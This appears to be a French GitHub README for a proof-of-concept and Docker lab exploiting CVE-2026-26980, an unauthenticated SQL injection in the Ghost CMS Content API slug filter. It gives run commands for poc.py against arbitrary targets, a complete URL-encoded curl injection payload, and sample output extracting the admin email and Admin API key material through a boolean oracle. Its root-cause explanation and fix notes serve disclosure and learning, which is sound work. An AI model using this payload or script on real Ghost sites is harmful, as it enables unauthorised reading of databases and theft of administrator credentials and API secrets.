
PoC Python et laboratoire Docker démontrant une injection SQL non authentifiée dans le filtre slug de l'API Content de TryGhost Ghost CMS, extrayant des valeurs de base de données via un oracle booléen.
★ CVE-2026-26980 TryGhost Ghost CMS Content API Injection SQL PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 est une vulnérabilité d'injection SQL non authentifiée dans l'API Content de TryGhost Ghost CMS. Le chemin vulnérable est accessible via la logique de traitement des filtres de l'API Content publique lorsque le tri slug:[...] est traité.
Ce PoC construit un laboratoire Ghost 6.19.0 contrôlé et démontre comment une requête publique à l'API Content peut être transformée en primitive de lecture de base de données basée sur des booléens.
| Produit | Version affectée | Version corrigée | Type de vulnérabilité |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | Injection SQL |
L'environnement de laboratoire utilise Ghost 6.19.0.
Construisez et exécutez l'environnement Ghost CMS vulnérable avec Docker :
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Exemple :
http://127.0.0.1:9102/
Le laboratoire exécute une véritable instance Ghost 6.19.0 vulnérable sur le port 9102.
La clé de l'API Content du laboratoire est :
EQSTLab299
CVE-2026-26980 : vulnérabilité d'injection SQL dans l'API Content de TryGhost Ghost CMS
description: Une vulnérabilité d'injection SQL dans TryGhost Ghost CMS avant 6.19.1 permet à un attaquant non authentifié ayant accès à une clé d'API Content publique de lire des valeurs arbitraires de la base de données via le paramètre de filtre de l'API Content. Le problème se produit dans le chemin de tri du filtre slug:[...], où les valeurs de slug contrôlées par l'utilisateur sont insérées dans du SQL brut sans liaison de paramètres appropriée.
Les clés de l'API Content de Ghost sont couramment exposées aux navigateurs par conception via les thèmes, la recherche, le portail ou le JavaScript frontend. Cela signifie que le chemin vulnérable peut être accessible sans authentification Ghost Admin.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Clé d'API Content personnalisée optionnelle :
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Exemple de [Target] : http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Le PoC public démontre l'impact de lecture de base de données en extrayant des métadonnées de base de données sûres pour le laboratoire et du matériel de clé d'API Ghost. Il n'affiche pas le flag du challenge.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
La logique vulnérable existe dans le chemin de sérialisation des entrées de l'API Content de Ghost pour les filtres slug:[...]. Ghost prend en charge les filtres de slug de type liste et préserve l'ordre des slugs demandé en générant une expression ORDER BY CASE.
Dans les versions vulnérables, les valeurs de slug contrôlées par l'utilisateur sont insérées dans un fragment SQL. Un modèle vulnérable simplifié est :
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Comme slug est contrôlé par l'attaquant et est inséré dans la chaîne SQL sans liaison de paramètres, un filtre d'API Content forgé peut sortir de la comparaison prévue et injecter une logique SQL supplémentaire.
Le PoC du laboratoire utilise deux tags publics, bacon et chorizo, comme oracle booléen observable.
bacon est trié en premier.chorizo est trié en premier.En répétant ce test avec différentes conditions SQL, le PoC peut déduire les valeurs de la base de données caractère par caractère.
Vérification de l'oracle booléen avec curl :
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
La cause racine est la construction non sécurisée d'un fragment SQL ORDER BY CASE à partir de valeurs de slug contrôlées par l'utilisateur. Le code vulnérable tente de préserver l'ordre de réponse de l'API Content, mais il traite les valeurs de filtre NQL analysées comme du texte SQL de confiance.
Un correctif robuste doit :
Ghost a corrigé ce problème dans 6.19.1 en remplaçant l'interpolation brute par des liaisons de requête paramétrées.
Il s'agit d'un problème CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL.
Comme l'API Content de Ghost est intentionnellement publique, cette vulnérabilité peut permettre à un attaquant non authentifié de créer une primitive de lecture de base de données via un point de terminaison de contenu public. Selon le contenu et les permissions de la base de données, un attaquant peut être capable de :